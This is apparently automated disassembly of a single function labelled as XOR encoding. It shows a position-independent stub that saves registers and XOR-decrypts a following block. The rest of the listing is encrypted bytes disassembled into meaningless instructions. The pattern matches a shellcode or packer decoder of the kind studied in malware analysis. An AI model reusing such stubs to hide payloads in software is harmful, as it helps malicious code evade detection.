Function at 0x16c9e30
Capabilities:
Encode data using xor

Disassembly:
jmp 0x16c9e3a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x16c9e63
pop rbp
sub rbp, 0x33
sub rbp, 0x12c9e30
sub rsp, 0x20
jmp 0x16c9e82
mov rax, 0x12c9e30
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
or eax, dword [rsi]
add byte [rax], al
mov rdx, 0x73db087c
xor byte [rax], dl
inc rax
dec rcx
jne 0x16c9ea1
jmp 0x16c9eb8
xor al, 0xf5
xchg ebp, eax
div ebp
jl 0x16c9f3c
jl 0x16c9ef6
std
mov ebp, 0x7c7c7d74
xor al, 0x7d
xchg ebp, eax
xor al, 0xbb
mov esp, 0x7c7c7c7f
xor al, 0xbb
mov esi, 0x7c7c7c54
xor al, 0x8b
sahf
xor al, 0x7d
mov ebp, 0x7c70fdf7
jl 0x16c9f61
xor al, 0x7d
xchg esp, eax
sub al, 0x2c
xor al, 0xc4
or al, 0x6b
push rdx
jl 0x16c9f6d
jl 0x16c9f6f
jl 0x16c9f29
invalid
mov esp, 0x7c7c82fa
jl 0x16c9f79
jl 0x16c9f33
jge 0x16c9e96
xor al, 0xc6
invalid
cmp dword [rdi + 0x2c2e2624], 0x34
invalid
push rdx
jl 0x16c9fb2
jl 0x16c9fb4
jl 0x16c9f6e
invalid
cli
invalid
call qword [rcx + rdi*2 + 0x73b48334]
clc
sbb byte [rsp + rdi*2 + 0x7c], bh
xchg esp, eax
jns 0x16c9f99
xor dword [rbx + rsi*2 + 0x7c7c18f8], 0x7c
jae 0x16c9f63
hlt
and bh, byte [rsp + rdi*2 + 0x7c]
sbb dh, bh
invalid
mul dword [rax + 0x45]
cld
xchg dword [rbx + rsi*2 + 0x7c7c60f8], edx
xchg esp, eax
jae 0x16c9f74
invalid
jl 0x16c9ffb
jl 0x16c9f7d
xchg dword [rbp + 0x7c6ff873], edx
jl 0x16ca005
sbb bh, ch
xchg dword [rbx + 0x63f87359], eax
jl 0x16ca00f
jl 0x16c9fc9
cmp dword [rbp - 0x7c7c4b6b], 0xffffff83
push rbp
xor byte [rbp + 0x7d], al
add dword [rbx + 0x45305583], 0x7d
xor al, 0xfd
mov ebp, 0x7c7c7c79
xor al, 0xfd
xchg esp, eax
js 0x16ca028
jl 0x16ca02a
xchg ebp, eax
int 0x83
add dword [rbx + 0x7e452855], 0x34
adc dword [rbp + 0x28], 0x45
jle 0x16c9fec
sub byte [rbp + 0x7e], al
xor al, 0xfd
std
mov ebp, 0x7c7c7c7a
xor al, 0xfd
xchg esi, eax
js 0x16ca03f
jl 0x16ca041
xor al, 0xfd
xchg esp, eax
jns 0x16ca046
jl 0x16ca047
jl 0x16ca048
jl 0x16c9f62
xchg ebp, eax
out dx, eax
add dword [rbx + 0x2abf2383], 0x2b
sub dword [rsi], ebp
xor al, 0xf5
stosd dword [rdi], eax
xor al, 0xf5
mov dl, pe_nt_image_headers64
invalid
std
mov ebx, 0x7c7c7c7d
xor al, 0xbb
mov edi, 0x7c7c7c7e
jle 0x16c9fa9
jl 0x16ca074
jl 0x16ca078
scasb al, byte [rdi]
jae 0x16c9ff6
jnp 0x16ca07b
jl 0x16ca07d
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 0xffffffae
mov edx, 0xff73ae6e
scasb al, byte [rdi]
add dword [rbx + 0x73ae7e83], 0xfffffff9
scasb al, byte [rdi]
jae 0x16ca00b
jnp 0x16ca090
jl 0x16ca092
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 3
jl 0x16ca09e
jl 0x16ca09f
jl 0x16ca058
xor al, 0x4d
mov esp, 0xf973ae7e
movabs r12, 0x7c7c7c7bf973ae7e
jae 0x16ca023
jnp 0x16ca0a8
jl 0x16ca0aa
imul byte [rdx + 0x34]
cmp dword [rdx - 0x8c5192], 0x1a
outsb dx, byte [rsi]
scasb al, byte [rdi]
jae 0x16ca036
call [rdx]
sbb bh, byte [rbp + 0x7c]
jge 0x16ca0b6
jl 0x16ca0ba
scasb al, byte [rdi]
jae 0x16ca038
jnp 0x16ca0bd
jl 0x16ca0bf
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x16c9ffd
mov edx, 0x6d34ae6e
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x16ca04a
jnp 0x16ca0cf
jl 0x16ca0d1
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x16ca00f
mov edx, 0x6d34ae6e
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x16ca05c
jnp 0x16ca0e1
jl 0x16ca0e3
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x16ca021
mov edx, 0x6d34ae6e
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x16ca06e
stc
jnp 0x16ca0f3
jl 0x16ca0f5
jl 0x16ca070
imul byte [rdx + 0x34]
push 0x34
xor al, 0x83
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jae 0x16ca07d
mov edx, 0x6d34ae6e
mov esp, 0x7c74f873
je 0x16ca103
jl 0x16ca104
jl 0x16ca105
jl 0x16ca0be
xor al, 0xf5
cmc
xchg dword [rdx*2 - 0xb800941], esi
jg 0x16ca086
jnp 0x16ca0c8
cmp dword [rbx + 0x7ebfbb34], 0x7c
jl 0x16ca119
mov ebx, 0x7c7c7ebf
jl 0x16ca033
xchg ebp, eax
sub eax, dword [rbx - 0x44cb7c7d]
mov esp, 0x7c7c7c7d
add dword [rbx - 0x4344cb7d], 0x7d
jl 0x16ca124
jl 0x16ca128
jle 0x16ca059
scasb al, byte [rdi]
jae 0x16ca0a6
jnp 0x16ca12b
jl 0x16ca12d
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffbc
jle 0x16ca06b
outsb dx, byte [rsi]
scasb al, byte [rdi]
xor al, 0x6d
mov esp, 0xf973ae7e
jae 0x16ca0b8
stc
jnp 0x16ca13d
jl 0x16ca13f
imul byte [rdx + 0x34]
cmp dword [rdx - 0x18c5192], 0xffffffa5
outsb dx, byte [rsi]
scasb al, byte [rdi]
jae 0x16ca0ca
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x5baacb7d], 0x34
mov ebx, 0x7c7c7dbf
xor dword [rdx*2 - 0x4044cb5c], 0x7d
jl 0x16ca155
push rbp
movsb byte [rdi], byte [rsi]
xor al, 0xbb
mov edi, 0x7c7c7c7d
jae 0x16ca0d5
jl 0x16ca14e
stc
jl 0x16ca15b
jl 0x16ca115
mov ebx, 0x7c7c7dbd
jge 0x16ca161
jl 0x16ca162
jl 0x16ca163
jl 0x16ca166
jle 0x16ca097
scasb al, byte [rdi]
jae 0x16ca0e4
jnp 0x16ca169
jl 0x16ca16b
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffb5
jle 0x16ca0a9
mov edx, 0x6d34ae6e
scasb al, byte [rdi]
xor al, 0x6d
mov ch, 0x7e
scasb al, byte [rdi]
jae 0x16ca0f6
jnp 0x16ca17b
jl 0x16ca17d
imul byte [rdx + 0x34]
xor al, 0x83
cmp dword [rdx - 0x18c5192], 0xffffffa5
mov edx, 0xfe73ae6e
movsd dword [rdi], dword [rsi]
add dword [rbx - 0xacbd57d], 0xffffff82
xor al, 0x55
xchg edx, eax
invalid
movabs al, byte [0xbd34b48334838382]
add dword [rbx + 0x34b48334], 0xffffffbd
pushfq
je 0x16ca11b
idiv byte [rdx + 0x34]
jp 0x16ca15b
cmp dword [rdx + 0x34b9f534], 0xffffffbb
mov ebp, 0x7c7c7c7d
jle 0x16ca0e3
mov edx, 0x34b9f534
mov ecx, 0x7dbdbb34
mov ebx, 0x7c7c7dbd
jl 0x16ca1ae
jl 0x16ca1b2
scasb al, byte [rdi]
jae 0x16ca130
jnp 0x16ca1b5
jl 0x16ca1b7
imul byte [rdx + 0x34]
cmp dword [rdx + 0x6d34ae6e], 0xffffffb5
jle 0x16ca0f5
xor al, 0x83
mov edx, 0x6d34ae6e
xor al, 0x6d
mov ch, 0x7e
scasb al, byte [rdi]
jae 0x16ca142
jnp 0x16ca1c7
jl 0x16ca1c9
imul byte [rdx + 0x34]
push 0x34
cmp dword [rdx - 0x18c5192], 0xffffffa5
add dword [rbx - 0x7b02cb7d], 0x7c
add dword [rsp + rdi*2 + 0x34], edi
invalid
std
test byte [rcx + rax + 0x7c], bh
jl 0x16ca196
xor al, 0xfd
std
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x2cb7c7d], 0xffffff84
add dword [rbx + 0x7c84fd34], 0x79
std
test byte [rcx + rdi*2 + 0x7c], bh
jl 0x16ca1a4
jl 0x16ca1e6
jl 0x16ca1eb
xor al, 0xfd
std
movsd dword [rdi], dword [rsi]
add dword [rbx - 0x2cb7c7d], 0xffffff84
cld
jl 0x16ca1f8
jl 0x16ca1f9
jl 0x16ca1b2
xor al, 0xfd
std
lodsd eax, dword [rsi]
jl 0x16ca1fe
jl 0x16ca200
xor al, 0xfd
test ah, bh
jl 0x16ca206
jl 0x16ca1c0
std
lodsd eax, dword [rsi]
jl 0x16ca20c
jl 0x16ca20e
sub dh, byte [rsi*8 - 0x45aacb7e]
invalid
xor al, 0x55
mov edx, 0x9522d88f
and al, 0x82
add dword [rbx - 0x7ccb850a], 0xffffffba
xor al, 0x4d
mov ch, 0xbc
xchg esp, eax
cmp dword [rdx - 0x434ab2cc], 0xffffff94
jge 0x16ca220
clc
pop rsp
jl 0x16ca22d
jl 0x16ca1e7
xor al, 0xfd
std
lodsd eax, dword [rsi]
jle 0x16ca233
jl 0x16ca235
xor al, 0xf5
mov ecx, 0x82f5342a
xor al, 0x55
mov edx, 0x3422d88f
mov ebx, 0x7c7c7dbf
jl 0x16ca163
jge 0x16ca247
jl 0x16ca249
xchg ebp, eax
pop rbx
invalid
jle 0x16ca21d
jle 0x16ca21d
mov ebx, 0x50e24cbc
loop 0x16ca23e
jge 0x16ca224
jge 0x16ca186
xor al, 0xfd
mov esp, 0x7c7c7f96
jl 0x16ca22e
xor al, 0xbb
mov ebp, 0x7c7c7ed9
mov ebx, 0x7c7ed9bd
jl 0x16ca235
jl 0x16ca27c
xor al, 0xbb
mov esi, 0xa8107e49
insb byte [rdi], dx
mov ebx, 0x107e49be
test al, 0x4c
insb byte [rdi], dx
xor al, 0x83
mov esp, 0x73b58334
xor al, 0x83
mov ch, 0x73
stc
mov es, word [rbx + 0x78958383]
jl 0x16ca295
jl 0x16ca254
invalid
ficomp word [rdi]
add eax, eax
mov bh, 0x16
sal byte [rdi + 0x7537c216], 0xc2
cmc
jle 0x16ca223
ret 0x7537
invalid
add qword [r8 - 0x42], rcx
add dword [rax - 0x42], ecx
movabs rsi, 0xc201b94801750fc2
ret 0x750f
add dword [rax - 0x47], ecx
add edx, eax
mov ecx, 0x79c9c201
add r8, rax
leave
jns 0x16ca284
add r8, rax
sar byte [rdx - 0x3d759fff], 0x1e
ret 0x4d06
mov edx, 0xc28a6001
invalid
invalid
enter 0x49b3, 0x49
int 0x1a
add qword [r8 - 0x45], rcx
add qword [r8 - 0x45], rcx
add eax, ecx
mov es, word [rcx + 0x49]
add r8, rcx
movabs al, byte [0x4949b0c849494941]
int 0x98
mov dh, 0xb6
mov dh, 0x2f
ret 0x884e
mov cl, 0x43
int3
invalid
push rcx
add dword [rsi - 0x7f49fe80], esi
add eax, ecx
mov cs, word [rbx + 0x49]
movabs al, byte [0x49494da0b6b6b6f7]
in eax, dx
push 0xffffffff8e01320b
mov dword [rcx - 0x29], edi
add qword gs:[rax - 0x5f], rcx
add eax, ecx
mov edx, edi
add qword [r14 + 0x49489588], rcx
add qword [r14 - 0x6e239475], rcx
sbb dword [rcx + 0x59], edi
add dword [rsi - 0x7f49fe77], esi
int3